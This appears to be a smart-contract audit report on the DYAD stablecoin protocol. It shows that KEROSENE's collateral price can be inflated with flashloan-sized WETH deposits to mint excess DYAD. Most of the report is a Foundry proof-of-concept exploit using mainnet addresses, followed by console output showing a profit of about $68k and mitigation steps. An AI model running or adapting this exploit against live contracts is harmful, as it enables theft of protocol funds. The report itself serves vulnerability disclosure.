# Print free DYAD when `VaultManagerV2` accept KEROSENE as stablecoin collateral

This report consisted of 2 underlying issues:

1. VaultManagerV2 [accept KerosineVault as collateral](https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/script/deploy/Deploy.V2.s.sol#L105). $KEROSENE portion of collateral should be limited to 33% of TVL. But `VaultManagerV2` consider unbounded and bounded KeroseneVault as normal vault, $KEROSENE can be used as collateral for DYAD minting.
2. $KEROSENE price calculation depend on TVL and DYAD total supply. Both can easily manipulated by user through flashloan lots of funds.

Combine these two issues. It is possible to manipulate Kerosene price and mint free DYAD in flashloan attack.

## Impact

Available flashloan exploit to mint free DYAD with current implementation.

## Proof of Concept

The script below demonstrate flashloan attack on current mainnet condition if `VaultManagerV2` is deployed.

Swapping 9 ETH for $KEROSENE token on uniswap and make a small profit ranging from 100$ to 70000$.
Excluding flashloan and swapping fee. Maybe profit reduce to 10000$.

The profit will be double if boundedKerosene vault is accepted as collateral.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import "../../script/deploy/Deploy.V2.s.sol";
import { Licenser } from "../../src/core/Licenser.sol";
import { Parameters } from "../../src/params/Parameters.sol";

interface IUniswapRouterV2V3 {
  function swapExactETHForTokens(
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external payable returns (uint256[] memory amounts);
  function swapExactTokensForTokens(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] calldata path,
    address to
  ) external payable returns (uint256 amountOut);
}

contract V2Test is Test, Parameters {
  Contracts contracts;
  IUniswapRouterV2V3 uniswapV2Router =
    IUniswapRouterV2V3(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
  IUniswapRouterV2V3 uniswapV3Router =
    IUniswapRouterV2V3(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45);

  function setUp() public {
    contracts = new DeployV2().run();
    vm.startPrank(MAINNET_OWNER);
    //include boundedKerosineVault
    contracts.vaultLicenser.add(address(contracts.boundedKerosineVault));
    // Add vaultManagerV2 to v1 licenser so it can mint DYAD
    Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(contracts.vaultManager));
    vm.stopPrank();
  }

  function testKEROSENE() public {
    vm.startPrank(MAINNET_OWNER);
    //include 2 V1 vaults into keroseneManager so it calcualte TVL correctly.
    contracts.kerosineManager.add(address(MAINNET_WETH_VAULT));
    contracts.kerosineManager.add(address(MAINNET_WSTETH_VAULT));
    vm.stopPrank();
    address user = address(0x11111);
    vm.startPrank(user);

    //buying new NFT ID
    deal(user, 10 ether);
    uint256 id = DNft(MAINNET_DNFT).mintNft{ value: 1 ether }(user); //@refunfed
    uint256 id2 = DNft(MAINNET_DNFT).mintNft{ value: 1 ether }(user); //@refunfed

    uint256 startingEthBalance = address(user).balance;

    //setup vault
    VaultManagerV2 vaultManagerV2 = VaultManagerV2(contracts.vaultManager);
    ERC20(MAINNET_WETH).approve(address(vaultManagerV2), type(uint256).max);

    vaultManagerV2.add(id, address(contracts.ethVault));
    vaultManagerV2.add(id2, address(contracts.ethVault));
    vaultManagerV2.add(id, address(contracts.wstEth));
    vaultManagerV2.add(id, address(contracts.unboundedKerosineVault));
    // console.log("denominator %e", contracts.kerosineDenominator.denominator()); //
    console.log("ethVaultPrice %e", contracts.ethVault.assetPrice()); //3.2472e11
    console.log("wstEthPrice %e", contracts.wstEth.assetPrice()); //3.79132877826e11
      // we test use kerosine to make print unfair DYAD price
      // KEROSINE price is fixed when print. then it drop value when minted DYAD
      //using all available ethereum to to buy all possible KEROSENE on uniswapv2.
    {
      address[] memory path = new address[](2);
      path[0] = MAINNET_WETH;
      path[1] = MAINNET_KEROSENE;

      console.log("swap %e ETH for KEROSENE", startingEthBalance);
      uniswapV2Router.swapExactETHForTokens{ value: address(user).balance }(
        0, path, address(user), block.timestamp + 100
      );
      uint256 keroseneBalance = ERC20(MAINNET_KEROSENE).balanceOf(user);
      console.log("KEROSENE receive %e", keroseneBalance);
      console.log(
        "KEROSENE USD price in UniswapV2: %e ",
        startingEthBalance * contracts.ethVault.assetPrice() * 1e18 / keroseneBalance / 1e8
      );

      ERC20(MAINNET_KEROSENE).approve(address(vaultManagerV2), type(uint256).max);
      vaultManagerV2.deposit(id, address(contracts.unboundedKerosineVault), keroseneBalance);
    }

    //get 8.6e23 = 860,000 KEROSENE
    //total KEROSENE is 50M
    // 1M $ in collateral

    //deposit huge amount of WETH as collateral and see how priced changed
    console.log("-------BEFORE DEPOSIT--------");
    console.log("KEROSENE vault price: %e", contracts.unboundedKerosineVault.assetPrice());
    console.log("DNFT only KEROSENE total USD value: %e", vaultManagerV2.getTotalUsdValue(id));
    // KEROSINE price not depend on KERO deposit into vault. Only WETH and wstETH affect price.
    // the more WETH deposit into vault, the more KEROSINE price increase. the more DYAD can be printed.
    // if user deposit 1 million $ WETH deposit. KEROSINE price worth double uniswap price.

    //TVL is $1,696,647 , 500 ether ~$1,500,000
    
    //deposit 500 WETH will barely make a profit
    // deal(MAINNET_WETH, user, 500 ether); 

    //deposit 2500 WETH to demonstrate flashloan profit
    deal(MAINNET_WETH, user, 2500 ether); 
    
    ERC20(MAINNET_WETH).approve(address(vaultManagerV2), type(uint256).max);
    //deposit 100 WETH into vault ID 2 to prevent mixing with vault ID 1
    vaultManagerV2.deposit(id2, address(contracts.ethVault), ERC20(MAINNET_WETH).balanceOf(user));

    console.log("-------AFTER WETH DEPOSIT--------");
    console.log("KEROSENE vault price: %e", contracts.unboundedKerosineVault.assetPrice());
    console.log("DNFT only KEROSENE total USD value: %e", vaultManagerV2.getTotalUsdValue(id));

    //$KEROSENE price got pumped up
    //collateral with KEROSENE only also rise too

    // try mint DYAD to maximum collateral value
    // cannot mint DYAD 66.67% collateral because post mint also have collateral ratio check too
    // post mint also affect collateral ratio.
    console.log("-------MINTING DYAD--------");
    uint256 maxMint = vaultManagerV2.getTotalUsdValue(id) * 1e18 / 1.55e18;
    console.log("try minting %e DYAD", maxMint);
    vaultManagerV2.mintDyad(id, maxMint, user);
    console.log("after mint collateral ratio %e", vaultManagerV2.collatRatio(id));
    // vaultManagerV2.mintDyad(id2, vaultManagerV2.getTotalUsdValue(id2) * 1e18 / 1.51e18, address(this));
    // console.log("after mint collateral ratio %e", vaultManagerV2.collatRatio(id2));

    console.log("-------AFTER MINTING--------");
    console.log("KEROSENE vault price: %e", contracts.unboundedKerosineVault.assetPrice());
    console.log("DNFT only KEROSENE total USD value: %e", vaultManagerV2.getTotalUsdValue(id));
    console.log("DYAD balance: %e", ERC20(MAINNET_DYAD).balanceOf(user));
    console.log(
      "loan %e WETH worth %e USD for %e DYAD",
      startingEthBalance,
      startingEthBalance * contracts.ethVault.assetPrice() / 1e8,
      ERC20(MAINNET_DYAD).balanceOf(user)
    );
    console.log("profit: %e", ERC20(MAINNET_DYAD).balanceOf(user) - startingEthBalance * contracts.ethVault.assetPrice() / 1e8);

    vm.stopPrank();
  }
}
```

### Console

```solidity
Running 1 test for test/fork/v2.t.sol:V2Test
[PASS] testKEROSENE() (gas: 2139922)
Logs:
  ethVaultPrice 3.2363699761e11
  wstEthPrice 3.75558974096e11
  swap 8.739e18 ETH for KEROSENE
  KEROSENE receive 8.0615515923329408428214e23
  KEROSENE USD price in UniswapV2: 3.5083366889367209e16
  -------BEFORE DEPOSIT--------
  unbounded TVL: 1.696647466962235650916396e24
  DYAD totalSupply: 6.329674e23
  KEROSENE vault price: 2.163796e6
  unbounded TVL: 1.696647466962235650916396e24
  DYAD totalSupply: 6.329674e23
  DNFT only KEROSENE total USD value: 1.7443553089283648063933e22
  -------AFTER WETH DEPOSIT--------
  unbounded TVL: 9.787572407212235650916396e24
  DYAD totalSupply: 6.329674e23
  KEROSENE vault price: 1.86228e7
  unbounded TVL: 9.787572407212235650916396e24
  DYAD totalSupply: 6.329674e23
  DNFT only KEROSENE total USD value: 1.50128662993697890727694e23
  -------MINTING DYAD--------
  unbounded TVL: 9.787572407212235650916396e24
  DYAD totalSupply: 6.329674e23
  try minting 9.6857201931417994017867e22 DYAD
  unbounded TVL: 9.787572407212235650916396e24
  DYAD totalSupply: 6.329674e23
  unbounded TVL: 9.787572407212235650916396e24
  DYAD totalSupply: 7.29824601931417994017867e23
  cr after mint: 1.533600768949889382e18
  unbounded TVL: 9.787572407212235650916396e24
  DYAD totalSupply: 7.29824601931417994017867e23
  after mint collateral ratio 1.533600768949889382e18
  -------AFTER MINTING--------
  unbounded TVL: 9.787572407212235650916396e24
  DYAD totalSupply: 7.29824601931417994017867e23
  KEROSENE vault price: 1.8425768e7
  unbounded TVL: 9.787572407212235650916396e24
  DYAD totalSupply: 7.29824601931417994017867e23
  DNFT only KEROSENE total USD value: 1.48540279360357346727551e23
  DYAD balance: 9.6857201931417994017867e22
  loan 8.739e18 WETH worth 2.82826372211379e22 USD for 9.6857201931417994017867e22 DYAD
  profit: 6.8574564710280094017867e22
```

### References

Vault allow user to deposit NonKeroseneValue assets token to mint DYAD.
<https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L165>

Deployments script add unbounded and bounded Kerosene Vault as normal vault.
<https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/script/deploy/Deploy.V2.s.sol#L93-L96>

This meant, user can deposit $KEROSENE to mint DYAD.

$KEROSENE price = (TVL - DYAD supply) / KEROSENE in circulation.

`KEROSENE in circulation` is cannot be easily manipulated.
`TVL` can be increase by deposit WETH into Vault V1 or Vault V2.
`TVL - DYAD supply` can be decrease by minting more DYAD.

Simply by deposit lots of WETH. price of KEROSENE will shoot up.
Buy cheap value KEROSENE and with over-inflated price mint more DYAD.

## Tools Used

## Recommended Mitigation Steps

Do both of these:

1. Move NonKeroseneValue check after mint DYAD.

```solidity
  function mintDyad(//@borrow
    uint    id,
    uint    amount,
    address to
  )
    external 
      isDNftOwner(id)
  {
    uint newDyadMinted = dyad.mintedDyad(address(this), id) + amount;
---    if (getNonKeroseneValue(id) < newDyadMinted)     revert NotEnoughExoCollat();
    dyad.mint(id, to, amount);
    /// @audit move check after because KEROSINE price affected by minting new DYAD. getNonKeroseneValue() not supposed to hold KEROSENE. but just in case.
+++     if (getNonKeroseneValue(id) < newDyadMinted)     revert NotEnoughExoCollat();    
    uint cr = collatRatio(id);
    
    if (cr < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); 
    emit MintDyad(id, amount, to);
  }
```

2. Do not use KEROSENE as collateral for stable coin. Move bounded and unbounded kerosene vault to KeroseneVault Manager.
